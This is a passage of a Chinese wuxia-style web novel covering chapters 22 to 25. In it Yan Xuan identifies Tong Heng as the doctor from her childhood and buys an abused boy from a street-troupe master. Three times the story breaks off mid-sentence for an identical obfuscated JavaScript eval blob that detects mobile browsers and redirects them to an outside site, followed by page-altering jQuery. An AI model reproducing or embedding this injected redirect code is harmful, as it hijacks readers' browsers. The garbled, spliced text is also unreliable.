晏璇边擦手边道:【无论如何他都能追踪。那包东西被涂满了迷蝶香,没个三五天是散不了的。】 小九:【刚刚,要是宿主没拿……】 晏璇摇头:【迷蝶香接触人的皮肤才生效,平日里是闻不到的。就算我刚才拒绝了,也防不住他用别的法子,与其忧心不若直说,没什么好害怕的。而且,送上门的钱,干嘛不拿。】 晏璇本也不知道有那种东西,还是看了师父的手札知晓的。当初孟珎找到自己是不是也用了类似的追踪方法?她不信天下有那么巧的事。 晏璇坐在桌边,打开百宝袋,重新清点起里面的东西。指腹一一拂过,最后她拿起其中不起眼的绣花香囊,解开上面的抽绳,露出一捧干花和药草。 没有什么特殊的。 晏璇托着腮,灯下倩影微晃,她抓了抓头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13377433|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始终想不明白。 突然,她“唰”的直起身,手拍了拍脑门。孟珎的事没想明白,可她记起了另一件事。她不认识同珩,可同这个姓氏却是听过的,因为是非常少见的姓氏她有一些印象,只是年岁太久远她一时没想起。 当初爹娘给她张榜求医,从西域来的那个大夫就姓同!她正是因为吃了他给的药突然病重被送去了雾山。 此同和彼同会有关系吗?方才见同珩吩咐掌柜煮山楂水,又说她的消食丸是好东西,如他不是信口开河那便是懂些医术的。 同珩、同大夫……晏璇努力翻找着记忆中那人的形象,长发垂落,一块破旧的布巾常常罩在头上,肤色不算白也不算黑,像个阴郁的颓废美人总对她自言自语。而同珩,光是眉眼间这股凌厉之气就和那人不能比。 不对!晏璇摸着下巴,若是同一时期的存在当然不可比,可距同大夫离去快要十年,别说十年,一年就能让人大变样。 还有同珩的声音,她隐隐觉得有些耳熟。晏璇叹了口气,她总不能跑到同珩面前叉着腰问他:你是不是多年前在斛县扮成一个赤脚大夫差点把人害死? 小九是在同大夫走后才出现的,系统里没有记录下那张脸,晏璇不能求助它。她抓肝挠肺的,忍不住敲响了隔壁孟珎的房门。 孟珎听她说完:“师妹觉得同珩和同大夫很有可能是一个人?” “是不是很匪夷所思?”晏璇双手托着下巴,“我只是有一种直觉。” 孟珎点点头,手指在桌上轻扣:“其实,时间可以改变很多东西。” 晏璇眼睛一亮:“师兄有什么发现?” “师妹说同大夫是西域人。” “嗯,因为他的头发特别浓黑还带着一点卷曲,五官当时虽看着落拓,但轮廓分明有着高挺的鼻梁,加上他总是披着一块头巾,和本地人一点不像。” 孟珎看着她:“你见同珩第一眼什么感觉?” 晏璇眼珠转了转:“高大、气势逼人。” 孟珎道:“同珩有着一口丰州口音,但他却有着丰州人不常见的深邃眼眸和高挺鼻梁。” 晏璇微睁大眼,张了张嘴。 “当然,这只是我的臆断,总会有偶然的差错。” 因为晏璇也有着令人着迷的眉眼,笑起来时眼睛晶莹有神,孟珎不由自主就会看向她。 晏璇点点头:“我明白。” 到底是不是同一个人,明日她就试上一试。 第二日早起,晏璇和孟珎用过早膳,马厩里的马匹也喂饱了。 孟珎在柜台结账,晏璇牵着马等在门口,同珩和他两个兄弟不久便出现了,见了她,同珩招呼那两人先进了客栈,自己面带微笑走至她身旁。 “晏姑娘,这么早就要上路了?” 晏璇拧着眉将他上下看了几遍,这家伙之前盯着她也是因为想到了什么吗? 同珩面露诧异:“晏姑娘,为何这般看我?” “我们……是不是在哪里见过?”晏璇咬了咬唇,“同大侠,昨日我想了一夜,总觉得与你似曾相识。可我自幼长在斛县养病,没见过什么外人,唯一见过一个跑江湖的还是个骗子,整日里说着中原武林全是败类,狼心狗肺不得好死。” “你说,那样的人是不是脑子有些问题?偏偏,我还被他骗了。” 两人双眸对视,时间仿佛凝滞,良久后,同珩对着她眯了眯眼,鼓动了下咬肌。 “你……说谁脑子有问题?” 23. 第 23 章 晏璇取过一旁的斗笠戴在头上,上面的轻纱落下刚刚遮住面容,阻隔了眼前人明晃晃的目光。 同珩不加掩饰又令人迷惑的注视,让晏璇想到那个神经男人。她早说过,这种突然迸发的情绪并非是男人对女人的执着,他们,一个有如盯住猎物般的狠意,一个有魔怔般想从她身上寻到点什么的怅然。 身体发肤受之父母,如果神经男透过她看到了她爹娘,那同珩恍惚中是见到了哪位故人? 晏璇笑了声,轻叹道:“一位萍水相逢的江湖郎中,也不知他后来怎样了。” 同珩“哦”了声,单手背在身后,好奇道:“可是那郎中与同某长得有几分相似?他如何……骗了你?” 晏璇瞧着他与林叔不相上下的年纪,可是脸上胡子拉碴,不修边幅的样子,一打眼真不会让人联想到那人。若是把他的下半张脸遮一遮,再把头发散下来,就有五分像了。 晏璇从轻纱后盯着他的眼睛:“我那时年少,被他的外表所惑,被哄骗着吃了不明来源的药,差点一命呜呼。” 同珩静了一瞬,皱眉问:“若姑娘出了事对他并无好处,他何故害人?” “好处?”晏璇有些忿忿,“他当日就拿了巨额诊金逃之夭夭,哪管病人死活。” 话毕,同珩久久未出声。 “哎,往事已矣,多说无益。”晏璇抬了抬手,“希望没有冒犯到前辈。” 孟珎从客栈中步出,见晏璇和同珩站得近,脚下一顿后快走两步上前,从晏璇手里牵过马匹。 晏璇看着他将一个竹筒壶挂在鞍上,不禁问道:“师……哥哥,这是什么?” “梨糖水。掌柜赠的,给你路上解渴。” “真的?掌柜人真好。” 孟珎抬头,朝她一笑,见她斗笠戴歪了,又伸手帮她扶正,理了理被弄乱的束发。 “没什么落下的,我们就上路了。” “嗯。” 晏璇翻身上马,坐稳后侧头向着一旁站立的同珩,笑道:“前辈,后会有期。” 孟珎也跟着侧头去看。 马儿的蹄子在原地轻踏,两个迎着晨曦的年轻人笑闹着,朝气蓬勃,前路一切都是新奇的充满幻想的。 “小珩,下了泑山后要守别人的规矩,别太莽撞。” “知道了,阿姐。到时候你别跟人先打起来才好,是不是,蕲叔?” “臭小子,小心我揍你!” “看,装不了一点。” “好了,你们姐弟俩,路上互相照应,早些回来。” “蕲叔,我会看着臭小子不让他乱跑。” “阿姐才是,小心中了他们的美男计。” “你给我站住!先吃我拳头两记。” “……” 昔日嬉笑追逐的画面早在岁月中褪了色,它们一碰就碎,碎成无法拼凑的沙砾点点,此刻好似有人拢住了一把随指缝流走的细沙。 同珩从长久的怔愣中醒来,他望着晏璇,嘴角扯住一丝笑意,拱了拱手:“后会有期。” 晏璇和孟珎扬鞭纵马,两人骑行了一段,等离开了这个叫十里坡的地方才慢下来。 “师兄,我大概能确定,同珩就是同大夫。” 晏璇表情没什么波动,语气也平平,孟珎猜她当时只是想要验证一个结果。 “你不怨他了,可是放下了?”孟珎轻问。 怨啊恨啊这类情绪最是磨人,他自是希望晏璇少些烦恼,然而将少时经历的苦痛一笔带过,太不公平。 “倒也不是怨他,若不是他,我可能就遇不到师兄和师父了,至少不会那么早寻去雾山。” 晏璇转着手里的马鞭,忽的一笑:“不知怎的,觉得他有些笨拙的可怜。” “可怜?”孟珎有些意外。 晏璇点点头:“昨晚,他明知那小孩没什么大碍,却不愿多解释,让那个谭老板闹将起来。” 她又依稀记起当年,同大夫说她脉象奇怪,给她塞药的时候说了句听天由命,随后跑得影都没了,彼时晏璇不知自己的身体特殊,任谁都会觉得他可疑。 方才,她说起往事,一般人听了大约要谴责两句郎中,而他却皱着眉反问对方为何要害她,就差贴着她问“我为什么要害你”。 “我想,当年有误会也不一定。” 晏璇不着急去找什么真相或是报复一回,他显然因着其他事会自己追上来,甚至是拿了自己的银子当诊金来跟她套近乎,她等着就是了。 “师妹……” 晏璇的轻拿轻放孟珎都习惯了,他心里堵着一口气但不想让她知道。 晏璇却从他的欲言又止中读到些什么,认真回了句:“师兄,不要总觉得我心软好欺负。” 戏演多了,有时候说真话对方都觉得你是在安慰人,晏璇见孟珎的神色就知他不信。 “我并非没有计较的,救人也好,遇到不平之事也罢,我也是衡量后才做决定,总归不会吃了亏去。” “就说那个谭老板,我见他不顺眼可是偷偷给他下了药的。” “还有之前……” 孟珎难得见晏璇一本正经,还是努力解释自己不是什么大善人,心里头又有了别的感触:师妹她真的很可爱。 他想摸摸她的头,说那些都无可厚非,想要她永远是自由恣意的,最后都化作了一句笑语:“好,我知道了。” 晏璇:“……” 他还傻笑,果真是一点没听进去。 南塘位于斛县的东边,丰州的南边,是一座临水而建的水城,城中街道依河而建,河道遍布,可撑一艘摇橹船慢慢赏玩城中景致。 晏璇和孟珎晌午过后到达目的地,入住了一家雀来客栈。孟珎拿出一枚信笺,掌柜的神色都变了,忙将他们安置在上等客房。 孟珎问她:“想在店里吃些东西,还是想去街上逛逛?” 晏璇笑道:“我们可以边逛边吃。” 于是在尝过了脆皮鸭、冰酥酪、生淹水木瓜等当地美食,两人择了一个茶摊坐下,品尝南塘特有的七味茶。 这咸口的香茶晏璇是第一次尝,前几次的人生中都没有见过。 老板看她好奇的模样,笑呵呵道:“小姑娘看着不是我们南塘人,第一次喝可要小心烫嘴。” 晏璇捧着茶碗,浅尝一口,咸香中带着茶叶的苦涩味,里面的配料很多,说是喝茶不如说是吃茶。 孟珎:“可还喜欢?” 晏璇点头:“怪怪的,不过很香。” 老板擦着手在一旁道:“姑娘第一次喝不习惯,等多喝几次就能尝到妙处了。二位,来南塘是办事还是游玩?” 晏璇笑笑:“听闻南塘山清水秀,来此游玩两天。” “那赶得巧,过些天就是咱南塘的花灯节,届时彩灯高挂,热闹非凡,二位客人务必逛了灯会再走。”摊铺老板建议道。 晏璇看了眼孟珎:“是吗?谢谢老板告知。” 孟珎给晏璇的茶碗添热水,边倒边说:“你留在这逛灯会,看病的事我一个人可以应付。” 晏璇看老板继续忙乎招待其他客人,才偏头悄声问孟珎:“师兄,那个时天辰到底是谁?神神秘秘的。” “他,”孟珎向周遭瞥了一眼,“便是金鹄的独子。这里离金雀山庄不远,药商不计其数,他们将人送到这也合情合理。” “金鹄?金雀山庄?”晏璇微睁了眼,“原来是金雀山庄的少庄主……” 孟珎:“他随母姓,江湖中鲜少人知。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13426385|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏璇突然想到那日在纤云坊,品贤阁的人焦急地想找到玄师,对于她狮子大开口的做法也没什么意见,莫不是就是为了这个少庄主? 晏璇疑惑道:“既然金雀山庄实力雄厚,什么都能拿钱办到,为何要将人送来这?” “大概……”孟珎望了望人流尽头,“是因为庄里并不安全。” “师父收到的信上说,金庄主有可能得罪了殷数,因此哪里都有可能出现意外。” 殷数……那个全身裹成一团只露出一双眼睛的男人? 来无影去无踪,下毒的功夫还了得,确是不好防范的一个人。 听孟珎说完,晏璇撇撇嘴:“江湖果真不好混,危险又复杂。” 孟珎:“稍后,他们的人便会找来,我去应付,你在客栈休息。要是实在无趣,就在附近人多的地方逛逛。” “再说,或许我可以跟去帮师兄。”晏璇眨眨眼道。 “或许,我也可以领晏姑娘在这南塘城里逛一逛。” 一道不算陌生的低沉嗓音响起,孟珎和晏璇瞬时直起了背。 他竟没有意识到对方的靠近,还被人听去了他和晏璇的谈话,这人之前分明隐藏了功力。孟珎皱着眉看着穿浅灰色袍子的男人走近。 “同……前辈?你这是……”晏璇的诧异不小,同珩会跟来她想到了,没想到他们前脚刚到一会,他后脚就来了。 而且,眼前这个墨发半束,脸上干干净净没点胡茬的精神男人是他? “咦,阿珩你回南塘了?”茶摊老板看着同珩惊道。 同珩点点头,面带和煦笑意旋身就坐在了晏璇他们这桌:“忙了好一阵,接下来要歇一段时间。” 晏璇看看他,又看看老板,觉得事情脱离了她的想象。 “阿珩,这两位客人,你认识?”老板问。 “嗯,刚不久认识的新朋友,记得把他们的账记在我头上。” 孟珎看着坐在正对面一脸如沐春风的同珩,淡漠道:“谢前辈好意,不劳破费。” “几碗茶而已,况且昨日在客栈,多亏了你们解围,我该当请客。”同珩笑笑。 晏璇嚼着嘴里的橘皮,直到苦涩上涌,道:“同前辈,原来你是南塘人。” “不算,我四海为家,这里不过长住了几年,认识不少人。” 同珩看了眼她的茶碗,问道:“你喜欢喝这个茶?要不要再添一杯?” “不了,喝不下了。”晏璇晃了晃碗底,里面还有好些料没吃完,“倒了可惜了。” “给我。”孟珎说道。 “哦。” 晏璇将茶碗递过去,孟珎自然接过,用勺子舀着吃完了剩下的。 同珩看着他俩,眉毛微扬:“你们……” “怎么了?”晏璇见他神色怪异,拧了拧眉。 在雾山,他们一直奉行不浪费原则,孟珎吃她的剩饭都是常有的事。 同珩瞥了眼孟珎微红的耳尖,摇头笑道:“没什么。” 两人喝完了茶准备回客栈,同珩自告奋勇非要跟在他们身后沿街介绍风土人情。晏璇摸不准这男人的心思,便由着他表演,孟珎一路上神色不明,浑身散发着冷气。 路过宝石斋,同珩说南塘除了酒有名,另一样便是玛瑙。晏璇回家的那段日子刚好错过了孟珎的生辰,她想着挑一块玉石送他也不错。 于是,她主动要求进店一瞧。看了一圈,她相中一块绿草花,玲珑剔透,其中蜿蜒着的绿色纹样犹如一双纤纤素手。 就它了。 “送给心上人?”同珩探过脑袋轻声道。 晏璇被他吓了一跳,那话语落在耳里更像一道惊雷,激得她心跳加速,双颊微红。 这个姓同的大叔到底怎么回事? 24. 第 24 章 一直以来,晏璇有个错误认知。她以为有了小九的存在,加上自己几辈子的经历,仿佛看穿了这世上的很多人很多事,有一种不自知的傲慢。此种傲慢不是说她看不起别人,而是觉得无论发生什么都在可接受范围内,是一种天然的俯视别人的傲慢,说坦白点就是有些自命不凡。 同珩,一个老江湖,怎么会没有几副面孔呢。他可以是威严的,善谈的,精明耍滑的,也可以是惺惺作态的,唯独不是笨拙的。也许,她之前的种种在别人眼里都不过是一场低劣的表演,走江湖,她还嫩得很。 晏璇有些气恼地瞪了同珩一眼。他单手背在身后,笑着退开一步。 晏璇唤来掌柜,询问将这块绿草花做成平安扣需要多少时日。掌柜报了个数,晏璇估算着日子,多拿出一份银子希望可以赶工完成,掌柜收了钱笑呵呵地应了。 孟珎只当她自己特别喜欢,要替她付钱。晏璇按住他掏钱的手,昂首道:“我有钱,上次卖药赚了不少。” 大概是受她爹娘的影响,师妹非常热衷于赚钱和攒钱,此时她一脸神气,语气里隐隐的得意,孟珎见她高兴便没动作。 挑完东西,几人往外走,孟珎脚步稍缓落在了后头。他向掌柜看去,略显阴沉的眉眼加上冷淡的脸庞,掌柜被吓得退后一步,满脸僵笑。 “方才,她给你的……”孟珎边说边从袖口里要掏些什么出来。 “是误会,误会!”掌柜使了个眼色,一旁的伙计赶紧递上一个荷包,“虽说是赶工了些,加工费足矣。” 孟珎:“……” 掌柜不停讪笑:“是真的误会,客官息怒。” 眼见着晏璇要回过头来寻人,孟珎低嗯了声,拿了荷包即走,替师妹省下一笔是一笔。 回了客栈,同珩识趣没再跟着。客栈掌柜焦急地在门口踱步,见了他俩忙正了正幞头,上前道:“先生,杜管事候您多时,就在客栈后院。” “知道了,稍等。” 孟珎将晏璇送上楼,又嘱咐了几句:“小心姓同的,有事我会捎消息回来。” 晏璇想跟去瞧瞧,而孟珎显然不想她卷入某些麻烦。她点头应了,将一瓶解毒丹塞给他,聊胜于无,师父说时天辰染上了怪病,或许不是病呢。 靠在客房内的窗下,透过窗棂,晏璇见孟珎被引着上了一辆不起眼的朴素马车。她回到桌边坐下,桌上放着从掌柜那讨要来的笔墨信纸,她一边磨墨一边想着如何落笔。 当时离开斛县,晏璇打着孟珎其实是受师父委托来找她一起去救人的幌子,孟珎擅切脉下针,她擅丹药辅助,爹娘没想太多就信了,只是不放心她的安危,希望林叔跟着一起走。 晏璇想引开那人的视线,同样也不放心他们,她不能预测对方会不会突然发疯威胁到家里人,林叔是万万不能离开晏家的。晏璇说了好些自保的手段,差一点让孟珎在他们面前耍一套拳法,最后还是林叔帮着说了话,他相信孟珎能保护好自己。 宽大的衣袖被卷起,露出了晏璇左手腕的伤口,她瞥了眼,那里已然结痂成了褐色的一小条。她伸手摸了摸,除去那些不得已而受伤的时刻,她一个怕死怕痛的没想着有一天会面不改色给自己两刀,她想做点什么回报,又盼着林叔不会有需要打开那瓶药的机会。 晏璇提笔蘸墨,在铺开的信纸上开始写下一路上的趣闻,准备给家里报平安。 日头西斜,相似的白墙上投下了桌前执笔端坐的不同身影。 有人步履匆匆,敲响了书房的大门。 陆佑笔下不停,应了句:“进来吧。” 房门打开又被合上,来人快步上前低声道:“少爷,斛县那边传来消息。” 陆佑顿了顿,笔尖墨水差点将底下的字迹晕染,他搁了笔,拿过一旁的绢布擦手。 “他出手了?”陆佑问。 陆隶站在案前,眉头锁着,点点头回道:“是。他私下去抓了小、那位见面,后来不知被谁发现救走了。晏家传出消息说受了惊吓,又回山里养病去了。” 陆佑敲了敲案几,旁边放着一封火漆封口的信,乃是莫问楼传回的消息。信上说她与人去了南塘,似乎并未受影响,她……和他想象中的有些不一样。 陆隶在旁恨道:“杨恪到底想对陆家如何,为何连‘已故’的人都不放过?” “萱姨一天好不了,他这疯病怕是也好不了。如今在两家面前仍是一副休戚与共的模样,不过是从前藏得深罢了。” “斛县……那边还需要人守着吗?” “今日起都撤回吧。” 陆隶欲言又止,陆佑看他一眼:“隶叔,我与莫问楼已做了半年的约定。此后,她与我陆家再无瓜葛。” “好不容易才寻到的亲人……” 亲人、亲缘,在利益为上、子高于女的陆家算得了什么呢…… 陆佑心中暗叹,转了身望着墙上悬挂的唳鸣於春图,两鹤相对,声闻于野。 “过些天便是十五了,隶叔替我去元通寺燃一炷香吧。” 陆隶眼中隐有泪意,垂了头道:“好。” …… 晏璇洋洋洒洒写了三大张纸,等吹干了墨,卷了信纸装进了信筒内。 她下楼想问一问附近有没有信使或者前往斛县的商人,结果掌柜的主动帮她安排了人送信。 雀来……一听名字就觉得跟金雀山庄有关系,然而它就是金雀山庄的产业,还带连锁的。这次为了时天辰,他们算是拿出了十分的诚意。 晏璇:“如此,多谢。” 掌柜是个温和的小老头,笑着道:“姑娘要是无事,出了客栈往东走是兴河坊,那里除了寻常店铺,还有好些趣味美食、杂耍戏法,可以前去游玩一番。” 晏璇问:“可有药铺?” 掌柜:“自然是有的。” 晏璇想着孟珎一时半会也回不来,去屋里取了钱袋,头上戴了顶帷帽就上街了。 南塘富庶,街上行人如织,她先去药铺买了好些药,让伙计帮忙送去雀来客栈,自己随着游人到处走走。 一旁有人围着大声喝彩,晏璇驻足多看了两眼。 原来是街头卖艺,此时一个小少年正躺在场中的一条长凳上,他双腿并拢绷直,脚上顶着一口比他人还要大的瓦缸。通过双脚小幅度的挪动,要将瓦缸转过一圈才算成功。 比少年要重上几倍的巨物压在上头,晏璇看到了他紧咬的牙关,微颤的小腿以及扣着长凳的瘦弱小臂。周围都是惊叹的目光和叫好声,晏璇瞥了眼,往地上的铁盆扔了一串铜钱便走开了。 身后传来那矮胖的头子如唱戏般的谢词:“谢谢看官打赏~” 晏璇又往前转悠了会,知道了几天后的灯会将在这里搭一个足足有三层楼高的灯塔,届时会挂满各式各样的彩灯。今年是寅年,最上头的将是做工最华丽的虎头灯,若是有人能一口气对上二十道灯谜,就可以把它领回家。 晏璇想了想,她大概可以得一个最简单的莲花灯。要是让师兄来,只怕什么都没有。她想起某一年他们在云边小镇逛元宵灯会,孟珎呆呆地看着摊铺老板的模样,最后还是掏了铜板买了两盏走马灯。 天色渐暗,晏璇往回走,再次路过了那一大圈围着人的杂耍现场。 此时,喝彩声没了,只剩那个怪腔怪调男人的叱骂声。 晏璇心里“咚”的一声,她走近去看,空地上碎着几只彩色大口瓷碗。 几个年长些的少年诚惶诚恐站着,再往旁边一些,晏璇才看到了匍匐在地的另一个人,深色的麻布衣裳穿在他身上,堪堪只能到手腕和脚腕上方。 男人甩着鞭子,打在地上便是扬起的一道带尘浊风。 “给你吃给你穿,就养出个这么没用的!” 随着叫骂,下一鞭就打在了少年身上。他还要靠他用双腿挣钱,所以每一鞭都抽在他的手上、背上、肩上,偶尔鞭风扫过脸颊,落下深红的鞭痕。 少年被抽得身体一颤一颤,闷哼着没有发出其他一点声音,这是长期习惯了被打骂的反应,因为他们知道,越是反抗哭喊受到的惩罚更重。 小九在晏璇肩头滚来滚去:【宿主,快救救他呀!】 面纱下的晏璇神色不明,她随意拉了个路人的衣角低问:“请问发生了什么?” “哦,那孩子顶碗表演的时候没站稳,摔了,瞧,那一地的碎瓷片。班主训人呢,哎,也是怪可怜的,年纪这么小……” 晏璇瞥了对方一眼,嘴上说着怜悯的话,该看的热闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13451438|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点没落下。 她抬手扒开身前围观的人,走到场中离少年三步远的地方。 班主见来的是个裙衫飘飘的小姐,忙道:“小的正管教下面的人,别脏了小姐的眼。” 晏璇未理,只朝着少年道:“还能不能站起来?” 少年按在地上的手抓握了一下,埋在双臂间的头微微抬起,但也仅仅只是抬起,连脸都没有露出。 “这位小姐……可是认识这小东西?还是说……”男人摸着下巴意味深长地笑了声。这小畜生虽然长得瘦弱,可是相貌姣好,那双仿佛含水的眸子看着楚楚可怜的,当初他把人买下就是瞧上了这点。 “嗯,我看中他了。”晏璇毫无波澜的口吻说道。 少年抓握的手一下握成了拳。 男人一副“果真如此”的了然模样,他搓了搓手道:“小姐,那可不行啊,小的教养他可费了好大功夫,还指望着他挣钱养老呢。” 晏璇低哼了声:“哦,当初多少买的?” “什么买的?” “多少钱把人买来的。” 男人看着四周围着的人,又看看身旁缩成一团的其他孩子,轻咳一声:“哪能是买的,是远房亲戚家的孩子,送到我这学手艺的。” 晏璇点点头,弯腰看着少年的发顶:“原来亲戚家的孩子,可以随便打骂。” 她直起身,又走向另外几个少年:“你们,也是班主的远房亲戚?” 少年们面面相觑,微微摇了摇头。 男人眯了眯眼:“这位小姐,莫不是想要找茬?” “没有啊,我只是随口问问。” 晏璇靠近一步,低声道:“咱们明人不说暗话,我呢是真心喜欢这孩子,你要是愿意,我出这个数拿下,若是不愿意,就当今天没见过。” 晏璇伸手比了比,听到男人深吸了一口气。 “哈啊,这是我家狗儿的荣幸啊。”男人伸腿踢了踢地上的少年,“小姐看上你,让你去她家谋差事,还不快起来,别装死!” 少年恍若未闻,趴在那仿佛昏了过去。男人气得又想扬起鞭子。 晏璇抬手一挡,缓声道:“别打坏了我看中的东西。” 男人忙赔笑:“您说的是。” 晏璇拢了拢衣衫下摆,抱膝蹲在少年跟前,帷帽上的轻纱落下,刚好遮住彼此的面容。 她一改轻佻的语气,声音微沉:“想活,自己站起来。” 少年抬眸,面前是晏璇伸出的手掌,这并不是一双养尊处优的手,经年累月上面已经长出了薄茧。 不知过了多久,晏璇见少年终于动了,两只手撑住地面一点点颤微着挪动,先是上半身,再是下半身,摇摇晃晃地站了起来。他低着头,头发脏乱,一半覆在了脸颊上叫人看不清他的表情。 晏璇伸手掏向百宝袋,一顿,转头问他:“你有什么卖身契之类的东西在他那吗?” 少年摇了摇头,哑声道:“我……是孤儿。” 晏璇抿了抿唇,感到嘴角发苦。她从百宝袋里抽出一张银票,怕对方只识真金白银,多问了句:“知道在哪里兑钱吧?” “知道,知道。”男人的眼里已然没有其他东西。 晏璇看一眼少年:“跟我走吧。” 男人摸着钱,忍不住抬脚又踢向少年:“快啊,跟上啊。” 少年捂着抽痛的手臂,跌跌撞撞朝晏璇的方向走去,只走了几步又去回看另几个少年,有人含泪,有人愤恨,也有人面无表情。 少年垂眸咬了咬牙,追着晏璇的脚步没再回头。 系统:【有新的提示:救人于水火,生命值加1%。】 晏璇并没有感到多少得分的快乐,她沉默着一直往前走着。 “难不成你以后都要这样见一个救一个?这世上受苦受难的人多了去了。” 晏璇抬头,见同珩抱臂靠在街角,似笑非笑地看着她。 “我只是……有一瞬想到了自己而已。” “什么?” “没什么。” 晏璇吐出一口闷气,她现在要做的事多着呢,眼前就是个令人头疼的存在。 “同前辈,斛县的事您想起来了吗?” 同珩:“……” 25. 第 25 章 晏璇的突然反问,令某人猝不及防愣了一瞬。晏璇猜他会时不时出现刷存在,没想到这一会功夫又跟来了,简直像块狗皮膏药。 她从腰间摸出一根银针,直向着同珩面门刺去。他站着没动,晏璇也没见他如何出的手,仿若流云出岫般,他的两根手指已经截住了自己的攻势。 他稍稍站直,另一只手取过她指间的银针,面上淡然笑着:“拿来治病救人的东西,可不好做这危险的事。” 晏璇甩手挣了挣,同珩抓过她的手腕欺近一步,眼睛望着她身后:“下回众目睽睽下别太张扬了。财不露白,贵不独行,你那个好哥哥没对你说过?” 晏璇侧头,透过帷帽,见不远处的墙角闪过一片褐色衣角。 “自是说过的,他还说要小心一些无事献殷勤的。”晏璇微微后仰,抬了抬被抓住的手,笑道,“众目睽睽下,同前辈是不是也该收敛些,不然下次我的银针不知道会扎在哪里。” 同珩皱眉叹道:“我是认真的,你一个不会武的小姑娘要小心行事。” 他的语气无比真诚,像每一个关心后辈的长辈。 晏璇刚才在街上闲逛也不是全无目的,她稍微打听了一下,原来不少人都认识同珩,他在这大约待了五六年,是个古道热肠的镖局镖头。说起当年的事,晏璇也不是耿耿于怀,只是遇到了总想讨点什么回来。 “多谢前辈提点,我和……”晏璇示意了一下旁边跟着的少年,“我们得走了,哥哥还等着。” 同珩松开了对她的钳制,让开一步站到了墙下。 少年踉跄着路过,瞥了他一眼,紧跟在晏璇身后。 “等等。”同珩转身喊道。 晏璇和少年已经走出巷子,夕阳的余晖落在他们身上,此刻闻声停下。 同珩孑立一人站在阴影中,黯淡的光线辨不清他的神色,一身浅灰似要与周遭融为一体,他踟蹰着未开口。 晏璇对于这样扭捏的,无论是谁一视同仁,只在心里倒数了三个数。 “等等!”同珩追上来两步,有些气恼道,“不是想问我斛县的事?” 这是要主动坦诚的节奏? 晏璇“哦”了声:“我看前辈侠义心肠,与那同大夫全然不像,怕认错了人。” “你这小姑娘,分明认定了我,现下又……”同珩叹了声,“真正是小看了你。” 他这个装模作样的反倒怨起她的阴阳怪气了。 晏璇哼道:“若是前辈遇到疑似伤害自己的故人,可会一笑泯恩仇,淡然处之?” 同珩倏地睁了睁眼,望着她动了动唇,最后咽下了想要出口的话。 “前辈,若你没有想说的,我们真的要走了。” 同珩咬了咬牙:“当年给你看病的同大夫确实是我。” “不过当初我离开是事出有因,没想到你服了药会发生意外。” “现今虽见你无恙,我亦有愧,跟着你只是想做些什么弥补一二。” 倘若他在那包银子上下迷蝶香是在晏璇主动认人之后,她真要信了他此番的情深意切了。 晏璇恍然道:“原来真的是前辈。那时,你给我吃了什么?” “一颗解毒丹,那时我观你脉象疑似中毒。” 晏璇若有所思,显然同珩对她并不是胡乱医治,可能当时的她只是药物过敏之类的不良反应。 “看来这么多年是我误会了。” 同珩:“你心中怨怪我并无错。” “既知晓了,我不怪你。” “同前辈,”晏璇向他伸了伸手,“请将方才的银针还我。” 只是这样?同珩想起那个富足的晏家,当时给他的诊金确实很多,小姑娘该是被娇宠着长大的,什么防人害人的心思都不多。救人的时候冒冒失失就出手了,认定他是坏的只是埋怨两句,知道他不是有意的就轻易原谅了。 除了相似的眉眼,她与那人真是一点都不像啊。 同珩无声笑了笑,晏璇不知他这个似笑非哭的表情是何意,只管要回她的针。 同珩从护腕里取出银针放入她的掌心。 晏璇点点头:“告辞。” 她带着少年回了客栈房间,让掌柜帮忙准备好热水和吃食。 “太脏了,先收拾一下自己。”晏璇看着他打了结的乱发,又道,“头发也洗了。我出去一趟,很快回来。” 少年喏喏点头。 既然冲动把人带回来,她该想想怎么把人安排了。 晏璇去了成衣店,又跑了一趟药铺。当她回房推开门时,明显听到屏风后“哗啦”一声水响。 晏璇拿过一整套衣服鞋袜,走近屏风:“衣服放在这,自己拿。” 等她走开一会,晏璇才听到窸窸窣窣的响动。 过了不一会,披着一头湿漉漉长发的少年蹑手蹑脚地走到她跟前,他低垂着头,两耳通红,洗净的脸上鞭痕犹甚。 “主人。”他轻声道。 晏璇浑身一抖,感觉手上的汗毛一根根都竖立了起来。 他甚至弯腰跪倒在地,依旧垂着头,咬着牙道:“我……来伺候您。” 晏璇:“……”他是真以为她要做点什么。 晏璇“噌”的一下从木凳上站起:“你给我起来!” “您买下了我,我就是您的人了。”少年道。 晏璇咬了咬牙:“好,我是你的主人,现在我叫你站起来,坐着跟我说话!” 少年似有不信,磨蹭了半天才起来坐下,晏璇也重新坐到了少年面前。 “你叫什么名字?”晏璇问。 “他们喊我狗儿。” 